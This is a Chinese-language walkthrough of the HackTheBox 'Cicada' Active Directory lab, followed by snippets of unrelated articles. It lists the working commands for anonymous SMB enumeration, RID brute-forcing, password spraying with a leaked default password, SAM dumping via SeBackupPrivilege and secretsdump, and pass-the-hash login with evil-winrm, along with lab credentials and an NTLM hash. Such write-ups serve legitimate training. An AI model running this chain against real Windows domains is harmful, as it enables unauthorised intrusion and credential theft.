域渗透入门靶机之HTB-Cicada


easy难度的windows靶机

信息收集

端口探测

nmap -sT --min-rate 10000 -p- 10.10.11.35 -oA ./port

发现开放了53,88,389等端口,推测为域控
进一步信息收集,对爆破的端口进行更加详细的扫描
小tips:对于众多的端口,可以借助awk&grep处理一下便于操作

grep open port.nmap | awk -F'/' '{print $1}' | paste -sd ','
ports=$(grep open port.nmap | awk -F '/' '{print $1}' | paste -sd ',')
echo $ports

对端口进行详细扫描:

sudo nmap -sTVC -O -p$ports 10.10.11.35

看到了主域名和二级域名,先写入/etc/hosts

大致看了下信息,决定先从smb服务进行渗透,看看是否有匿名登录之类的

SMB渗透

crackmapexec smb 10.10.11.35 -u 'guest' -p ''  --shares

分别对HR和IPC$进行查看

smbclient -N //10.10.11.35/HR
smbclient -N //10.10.11.35/IPC$

在HR下发现txt,获得密码:Cicada$M6Corpb*@Lp#nZp!8

在拿到密码后,我们需要找到AD中的有效用户,便于进一步利用

有效用户枚举

通过前面nmap的扫描发现有Kerberos服务以及ldap

借助kerbrute爆破有效用户

https://github.com/ropnop/kerbrute
这个工具是利pre-authentication机制来判断用户名是否有效

./kerbrute_linux_amd64 userenum --dc 10.10.11.35 -d cicada.htb xato-net-10-million-usernames.txt

一无所获,也可能是字典的原因,我们也尝试利用LDAP服务来爆破用户名,可以借助ldapnomnom这个工具去爆破,但我们并不知道有效用户的格式,因此决定换一种方法,借助crackmapexec中的--rid-brute参数来寻找有效用户

借助crackmapexec

RID 是在 Windows 域中,每个用户账户、组账户和计算机账户都拥有的唯一标识符。一个完整的 Windows SID(Security Identifier)由多个部分组成,其中包括一个 RID,RID 用于唯一标识 Windows 域内的一个对象
当我们指定--rid-brute参数,crackmapexec会自动地尝试一系列不同的 RID 值,并通过它们来暴力破解账户密码。通常,我们可以利用该方法用于在目标机器上尝试找到有效的用户账户

crackmapexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute

我们肯定是想要用户,因此使用grep过滤一下

crackmapexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute | grep 'SidTypeUser'

最终获得一组用户保存为user_list,考虑密码喷洒

密码喷洒

crackmapexec smb 10.10.11.35 -u user_list -p 'Cicada$M6Corpb*@Lp#nZp!8'

成功获得一组凭据:michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
以这组凭据枚举一下smb服务

一个一个查看后发现并没什么可利用的,借助enum4linux来枚举一下

又发现了一组凭据:david.orelious:aRt$Lp#7t*VQ!3

在DEV下发现Backup_script.ps1,又发现了一组凭据

建立立足点

靶机开放了5985端口,手里也有三组凭据,一个一个尝试一下,最后通过emily.oscars用户建立立足点

权限提升

比较常见的一种提权方法

跟着模板打一下就行

secretsdump.py -sam sam -system system LOCAL

成功获得Administrator的hash

evil-winrm -i 10.10.11.35 -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'

总结

前期通过信息收集,发现smb存在匿名登录,在'Notice from HR.txt'中发现了默认密码,然后进一步信息收集,去寻找有效用户,通过crackmapexec的--rid-brutr参数,爆破出了一组用户,然后进行密码喷洒获得一组凭据,michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8,利用这组凭据进行信息收集,利用enum4linux工具在枚举时又获得了david.orelious:aRt$Lp#7t*VQ!3,利用david用户登录smb服务,在DEV下获得ps1文件里面包含了另一组凭据,最后利用该组凭据建立立足点,借助SeBackupPrivilege完成权限提升

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/935030.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

QT核心功能概览

QT的学习(一)如何查阅QT文档?(以QPushButton为例)_qt的组件在qt文档那里面看-CSDN博客 QPushButton Class | Qt Widgets 5.15.18 一、前言 QT虽说功能很庞大,但是常用的控件也不是很多,也就只…

《Java核心技术I》并行数组算法

并行数组算法 Arrays类提供了大量并行化操作。 Arrays.parallelSort方法可以对一个基本类型值或对象的数组排序。 package arrays;import java.io.IOException; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Path; import …

深度学习:重塑学校教育的未来

摘要:本文旨在全面剖析深度学习技术在教育领域的应用现状及未来前景。通过对当前深度学习技术在教育中的应用案例进行深入剖析,探讨其在教学效果、学习体验等方面的积极作用,同时分析存在的挑战与问题。在此基础上,本文将进一步展…

从根上理解 mysql -数据在页中是怎么存储的

之前说了,一行数据是怎么存储的。现在来看下 数据在页中是怎么存储的 基础知识 页是Innodb管理的存储空间的基本单位,一般是16kb页分为好多类型 大概十多种,面试中平时所说的页即为索引页(数据页),当然也有像insert …

在C#中编程绘制和移动线段

这个示例允许用户绘制和移动线段。它允许您根据鼠标下方的内容执行三种不同的操作。 当鼠标位于某个线段上时,光标会变成手的形状。然后您可以单击并拖动来移动该线段。当鼠标位于线段的终点上时,光标会变成箭头。然后您可以单击并拖动以移动终点。当鼠…

快速学习selenium基础操作

全篇大概19000字(含代码),建议阅读时间1h 什么是Selenium? Selenium是一系列自动化工具集的统称,官方工具有 Selenium IDE、Selenium WebDriver、Selenium Grid, 主要用于桌面端Web应用程序的自动化。能够通…

说下JVM中一次完整的GC流程?

大家好,我是锋哥。今天分享关于【说下JVM中一次完整的GC流程?】面试题。希望对大家有帮助; 说下JVM中一次完整的GC流程? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 在JVM中,垃圾回收(GC&am…

Vue.createApp的对象参数

目录 template 属性 data 属性 methods 属性 疑问 function 函数的两种写法 methods 属性中 this 的指向 总结 Vue 实例是通过 Vue.createApp() 创建的,该函数需要接收一个对象作为参数,该对象可添加 template、data、methods 等属性。 template …

前端H5移动端基础框架模板 :Vue3 + Vite5 + Pinia + Vant4 + Sass + 附源码

技术栈选用 Vue3 Vite5 Pinia Vant4 Sass 源码地址: git clone https://gitee.com/gaiya001/h5-APP.git1. 1.vite.config.js文件配置 ** import { defineConfig } from vite // 导入 Vite 的配置函数 import vue from vitejs/plugin-vue // 导入 Vue 插件 i…

LabVIEW动态加载语言与VI调用 附件有程序

此LabVIEW设计通过动态加载语言资源和调用VI来实现多语言支持和模块化功能。它适用于需要灵活语言切换和动态VI管理的场景,但在开发和维护中有一些需要优化的地方。以下是详细的分析和改进建议。 优点: 灵活的语言切换: 用户可通过加载不同语…

分布式搜索引擎之elasticsearch基本使用2

分布式搜索引擎之elasticsearch基本使用2 在分布式搜索引擎之elasticsearch基本使用1中,我们已经导入了大量数据到elasticsearch中,实现了elasticsearch的数据存储功能。但elasticsearch最擅长的还是搜索和数据分析。 所以j接下来,我们研究下…

使用webrtc-streamer查看实时监控

摄像头配置(海康摄像头为例) 摄像头视频编码应改成H264格式 webrtc-streamer下载 webrtc-streamer下载地址 下载后解压出来双击运行,端口默认8000 VUE2项目引入文件 在项目静态文件“public”中需引入两个js文件“webrtcstreamer.js”与“…

鸿蒙调试打包(非正式打包)

文章目录 前言第一步:生成.p12和.csr文件第二步:申请证书的前置步骤第三步:申请证书 前言 HarmonyOS 应用打包后的文件为.app 格式, android 打包后的文件为.apk,IOS 打包后的文件为.apa HarmonyOS通过数字证书&#…

如何利用DBeaver配置连接MongoDB和人大金仓数据库

最近根据国产化要求,需要使用国产数据库,但习惯使用DBeaver连接各种成熟的商业或开源数据库。因此,就想着如何继续基于该工具,连接MongoDB和人大金仓数据库,查了半天很多地方说法不统一,所以自己就简单整理…

手机租赁系统开发指南一站式服务流程解析

内容概要 手机租赁系统的开发是一个复杂但有趣的过程,像搭建乐高一样,只要找到合适的模块,就能打造出一个宾至如归的租赁平台。在这部分,我们将对开发流程的整体结构进行简要概述,并指出每个环节的重要性。 首先&…

Linux中vi和vim的区别详解

文章目录 Linux中vi和vim的区别详解一、引言二、vi和vim的起源与发展三、功能和特性1、语法高亮2、显示行号3、编辑模式4、可视化界面5、功能扩展6、插件支持 四、使用示例1、启动编辑器2、基本操作 五、总结 Linux中vi和vim的区别详解 一、引言 在Linux系统中,vi和…

信息安全管理——应急响应、灾备与恢复

安全管理 信息安全管理 信息安全管理是指通过维护信息的机密性、完整性和可用性来管理和保护信息资产,是对信息安全保障进行指导、规范和管理的一系列活 动和过程。 信息安全管理的意义在于他是组织或者公司管理体系的一个重要环节 ,比如说一所大学就是…

数据库数据恢复—ORACLE常见故障有哪些?如何恢复数据?

Oracle数据库常见故障表现: 1、ORACLE数据库无法启动或无法正常工作。 2、ORACLE ASM存储破坏。 3、ORACLE数据文件丢失。 4、ORACLE数据文件部分损坏。 5、ORACLE DUMP文件损坏。 Oracle数据库数据恢复方案: 1、检测存放数据库的服务器/存储设备是否存…

使用 WebStorm 导入已有的 Vue 项目并运行的步骤与注意事项

目录 1. 引言2. WebStorm 环境准备 2.1 安装 WebStorm2.2 配置 Node.js 和 npm2.3 使用 nvm 管理 Node.js 和 npm 版本2.4 npm 版本与 Vue 版本对应关系 3. 导入已有的 Vue 项目 3.1 打开 Vue 项目3.2 安装项目依赖3.3 使用 nvm 控制 Node.js 和 npm 版本 4. 运行 Vue 项目 4.…

C++感受15-Hello Object 封装版 -下(上机)

一步步(分解成九段小视频)带你完成“选美大赛海选报名程序”,从需求到设计再到实现,完整体验,同时边学边用以下知识点: 转换构造、复制构造、转发构造特定成员函数默认实现成员数据初始化列表成员数据默认值…